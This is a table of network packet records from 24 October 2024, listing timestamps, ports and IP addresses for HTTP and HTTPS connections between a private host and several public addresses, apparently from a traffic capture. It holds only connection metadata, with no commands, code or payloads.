Oct 24, 2024 08:38:36.651024103 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.651046038 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.651087046 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.654390097 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.654406071 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.654421091 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.654478073 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.654479027 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.654725075 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.654742002 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.654757977 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.654795885 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.654829979 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.655060053 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.655075073 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.655090094 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.655122995 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.655155897 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.662189007 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.662204981 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.662219048 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.662255049 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.662295103 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.662373066 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.662386894 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.662436008 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.727368116 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.727440119 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.727446079 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.727454901 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.727482080 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.727511883 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.767934084 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.767951965 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.768027067 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.768028021 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.768120050 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.768172979 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.768249035 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.768301010 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.768316031 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.768332005 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.768347025 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.768361092 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.768415928 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.771724939 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.771748066 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.771763086 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.771786928 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.771939993 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.771967888 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.771975994 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.772011042 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.772031069 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.772217989 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.772233009 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.772248983 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.772264004 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.772272110 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.772295952 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.772314072 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.779356003 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.779371977 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.779386997 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.779409885 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.779445887 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.779445887 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.819993973 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.820058107 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.820060968 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.820842028 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.844631910 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.844649076 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.844662905 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.844702959 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.844754934 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.885216951 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.885246038 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.885262012 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.885277033 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.885292053 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.885294914 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.885296106 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.885348082 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.885348082 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.885708094 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.885721922 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.885736942 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.885765076 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.885802984 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.888714075 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.888782024 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.888811111 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.888838053 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.888902903 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.888935089 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.888989925 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.889029026 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.889058113 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.889112949 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.889302969 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.889338970 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.889375925 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.889396906 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.889425993 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.889451981 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.889507055 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.896450996 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.896486044 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.896517992 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.896542072 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.896593094 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.896625042 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.896657944 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.896754026 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.961829901 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.961870909 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.961905003 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.961936951 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:36.961975098 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:36.962024927 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.003145933 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.003210068 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.003264904 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.003309011 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.003340960 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.003366947 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.003392935 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.003424883 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.003460884 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.003473997 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.003509045 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.003525972 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.003573895 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.003602982 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.003652096 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.004795074 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:37.004859924 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:37.006016016 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.006052017 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.006072998 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.006097078 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.006129026 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.006170034 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.006187916 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.006223917 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.006253958 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.006270885 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.006295919 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.006347895 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.007767916 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.007894039 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.007957935 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.007972956 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.008008957 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.008028984 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.008064032 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.008086920 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.008116961 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.013715982 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.013812065 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.013849020 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.013890982 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.013922930 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.078927994 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.078978062 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.079006910 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.079016924 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.079052925 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.079073906 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.119586945 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.119654894 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.119688034 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.119687080 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.119744062 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.119759083 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.119759083 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.119780064 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.119791031 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.119816065 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.119848967 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.119870901 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.120354891 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.120384932 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.120409966 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.120445967 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.121750116 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.121805906 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.121810913 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.121889114 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.123032093 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.123087883 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.123091936 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.123122931 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.123132944 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.123169899 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.123219013 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.123253107 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.123279095 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.123286963 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.123301029 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.123402119 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.123708010 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.123739004 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.123800039 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.123859882 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.123914957 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.123922110 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.123955965 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.123976946 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.123991013 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.124000072 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.124044895 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.130913019 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.130966902 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.130983114 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.131002903 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.131032944 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.131040096 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.131072044 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.131093025 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.197992086 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.198043108 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.198082924 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.198210001 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.198210955 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.236946106 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.236985922 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.237020969 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.237025023 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.237054110 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.237075090 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.237183094 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.237190962 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.237219095 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.237252951 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.237265110 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.237288952 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.237329006 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.237473011 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.240138054 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.240194082 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.240228891 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.240286112 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.240317106 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.240329981 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.240542889 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.240583897 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.240596056 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.240736961 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.240771055 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.240777016 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.240806103 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.240840912 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.240845919 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.240878105 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.240931034 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.241245985 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:37.241482973 CEST	80	61018	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:37.242721081 CEST	61018	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:39.033947945 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:39.039416075 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:39.166066885 CEST	61025	443	192.168.2.5	35.190.72.216
Oct 24, 2024 08:38:39.166101933 CEST	443	61025	35.190.72.216	192.168.2.5
Oct 24, 2024 08:38:39.166254044 CEST	61025	443	192.168.2.5	35.190.72.216
Oct 24, 2024 08:38:39.173799992 CEST	61025	443	192.168.2.5	35.190.72.216
Oct 24, 2024 08:38:39.173819065 CEST	443	61025	35.190.72.216	192.168.2.5
Oct 24, 2024 08:38:39.550122023 CEST	61017	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:39.550424099 CEST	61027	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:39.556133986 CEST	80	61017	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:39.556148052 CEST	80	61027	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:39.559922934 CEST	61017	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:39.560050011 CEST	61027	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:39.560697079 CEST	61027	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:39.566886902 CEST	80	61027	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:39.806376934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:39.809581995 CEST	443	61025	35.190.72.216	192.168.2.5
Oct 24, 2024 08:38:39.812033892 CEST	61025	443	192.168.2.5	35.190.72.216
Oct 24, 2024 08:38:39.812036991 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:39.819293022 CEST	61025	443	192.168.2.5	35.190.72.216
Oct 24, 2024 08:38:39.819304943 CEST	443	61025	35.190.72.216	192.168.2.5
Oct 24, 2024 08:38:39.819467068 CEST	61025	443	192.168.2.5	35.190.72.216
Oct 24, 2024 08:38:39.819685936 CEST	443	61025	35.190.72.216	192.168.2.5
Oct 24, 2024 08:38:39.819864988 CEST	61028	443	192.168.2.5	35.190.72.216
Oct 24, 2024 08:38:39.819911003 CEST	443	61028	35.190.72.216	192.168.2.5
Oct 24, 2024 08:38:39.821208000 CEST	61025	443	192.168.2.5	35.190.72.216
Oct 24, 2024 08:38:39.821255922 CEST	61028	443	192.168.2.5	35.190.72.216
Oct 24, 2024 08:38:39.823340893 CEST	61028	443	192.168.2.5	35.190.72.216
Oct 24, 2024 08:38:39.823349953 CEST	443	61028	35.190.72.216	192.168.2.5
Oct 24, 2024 08:38:40.442701101 CEST	443	61028	35.190.72.216	192.168.2.5
Oct 24, 2024 08:38:40.448084116 CEST	61028	443	192.168.2.5	35.190.72.216
Oct 24, 2024 08:38:40.452112913 CEST	61028	443	192.168.2.5	35.190.72.216
Oct 24, 2024 08:38:40.452126980 CEST	443	61028	35.190.72.216	192.168.2.5
Oct 24, 2024 08:38:40.452197075 CEST	61028	443	192.168.2.5	35.190.72.216
Oct 24, 2024 08:38:40.452353001 CEST	443	61028	35.190.72.216	192.168.2.5
Oct 24, 2024 08:38:40.452579975 CEST	61028	443	192.168.2.5	35.190.72.216
Oct 24, 2024 08:38:40.468971014 CEST	80	61027	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:40.469036102 CEST	61027	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:40.705949068 CEST	61029	443	192.168.2.5	142.250.184.238
Oct 24, 2024 08:38:40.705972910 CEST	443	61029	142.250.184.238	192.168.2.5
Oct 24, 2024 08:38:40.706000090 CEST	61030	443	192.168.2.5	142.250.184.238
Oct 24, 2024 08:38:40.706049919 CEST	443	61030	142.250.184.238	192.168.2.5
Oct 24, 2024 08:38:40.715958118 CEST	61029	443	192.168.2.5	142.250.184.238
Oct 24, 2024 08:38:40.715982914 CEST	61030	443	192.168.2.5	142.250.184.238
Oct 24, 2024 08:38:40.717406034 CEST	61029	443	192.168.2.5	142.250.184.238
Oct 24, 2024 08:38:40.717417002 CEST	443	61029	142.250.184.238	192.168.2.5
Oct 24, 2024 08:38:40.719295025 CEST	61030	443	192.168.2.5	142.250.184.238
Oct 24, 2024 08:38:40.719319105 CEST	443	61030	142.250.184.238	192.168.2.5
Oct 24, 2024 08:38:40.777676105 CEST	61031	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:40.783360004 CEST	80	61031	34.107.221.82	192.168.2.5
Oct 24, 2024 08:38:40.783432007 CEST	61031	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:40.783596992 CEST	61031	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:40.788845062 CEST	80	61031	34.107.221.82	192.168.2.5
Oct 24, 2024 08:38:41.371543884 CEST	80	61031	34.107.221.82	192.168.2.5
Oct 24, 2024 08:38:41.429914951 CEST	61031	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:41.580190897 CEST	443	61030	142.250.184.238	192.168.2.5
Oct 24, 2024 08:38:41.580234051 CEST	443	61030	142.250.184.238	192.168.2.5
Oct 24, 2024 08:38:41.580916882 CEST	443	61030	142.250.184.238	192.168.2.5
Oct 24, 2024 08:38:41.581366062 CEST	61030	443	192.168.2.5	142.250.184.238
Oct 24, 2024 08:38:41.581387043 CEST	443	61030	142.250.184.238	192.168.2.5
Oct 24, 2024 08:38:41.581830025 CEST	443	61029	142.250.184.238	192.168.2.5
Oct 24, 2024 08:38:41.581850052 CEST	443	61029	142.250.184.238	192.168.2.5
Oct 24, 2024 08:38:41.582835913 CEST	443	61029	142.250.184.238	192.168.2.5
Oct 24, 2024 08:38:41.584727049 CEST	61030	443	192.168.2.5	142.250.184.238
Oct 24, 2024 08:38:41.584903955 CEST	61029	443	192.168.2.5	142.250.184.238
Oct 24, 2024 08:38:41.584937096 CEST	443	61029	142.250.184.238	192.168.2.5
Oct 24, 2024 08:38:41.588788986 CEST	61030	443	192.168.2.5	142.250.184.238
Oct 24, 2024 08:38:41.588809967 CEST	443	61030	142.250.184.238	192.168.2.5
Oct 24, 2024 08:38:41.588864088 CEST	61030	443	192.168.2.5	142.250.184.238
Oct 24, 2024 08:38:41.589025974 CEST	443	61030	142.250.184.238	192.168.2.5
Oct 24, 2024 08:38:41.589577913 CEST	61030	443	192.168.2.5	142.250.184.238
Oct 24, 2024 08:38:41.593033075 CEST	61029	443	192.168.2.5	142.250.184.238
Oct 24, 2024 08:38:41.593050003 CEST	443	61029	142.250.184.238	192.168.2.5
